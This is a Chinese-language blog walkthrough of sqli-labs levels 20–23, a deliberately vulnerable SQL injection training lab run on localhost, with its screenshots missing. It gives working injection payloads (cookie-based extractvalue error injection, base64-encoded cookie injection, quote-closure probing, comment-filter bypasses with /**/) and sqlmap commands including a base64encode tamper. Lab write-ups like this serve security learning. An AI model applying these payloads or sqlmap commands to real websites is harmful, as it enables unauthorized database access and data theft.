sqli-labs 20到23
第20题
输入用户名密码发现是这样的页面

抓包看看,尝试cookie注入:
admin' and extractvalue(1,concat(0x7e,database()))#

其他好做了。
第21题
抓包是这样:

看看这uname什么成分?

可以看到是对admin先进行了base64编码,然后对=进行了url编码
这里尝试对admin进行base64编码后再整个进行url编码,可以看到反应正常

注入思路:将注入语句按照同样方式编码。
首先对'进行编码并注入:


再对“进行编码后注入:可以看到'报错,”不报错,闭合方式与'有关,再看上图的报错,尝试')闭合
这里对') or 1=1#编码后注入:不报错,找到闭合方式。

爆库:
首先进行编码


爆表名
这里建议编码的时候只编码最后一位符号即可


好像不用url编码也可以

其他就简单了,如果用sqlmap扫描,只需要一句话
sqlmap -u http://127.0.0.1/Less-21/ --cookie="uname=1"* --dbms MySQL --threads=10 --batch --tamper=base64encode
注意tamper必须是base64encode
第22题
使用admin登录:

抓包查看
使用'注入发现不报错,使用“报错

查看报错信息:应该就是”闭合

闭合方式为“闭合

爆库名:


爆表名

其余同理。
第23题
打开页面


查看闭合方式:'报错,“不报错

发现不管后面加空格还是#都会网页错误

应该是对某些字符进行了过滤,可以看到对-没有过滤

那就好办了
注释语句-- -中的空格可以使用/**/代替

结果发现注释并没有起作用,那应该是把-也过滤了。
换个payload吧
?id=-1'or'1'='1
因为我们知道是'闭合方式,所以注入后相当于id=-1'or'1'='1'limit 0,1
?id=-1'union/**/select/**/1,database(),3/**/and'1'='1

其实交给sqlmao一句话就搞定了
sqlmap -u http://localhost/sqli-labs-php7-master/Less-23/?id=1 --dbs
甚至参数都不用加

 
                     
                    
                 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号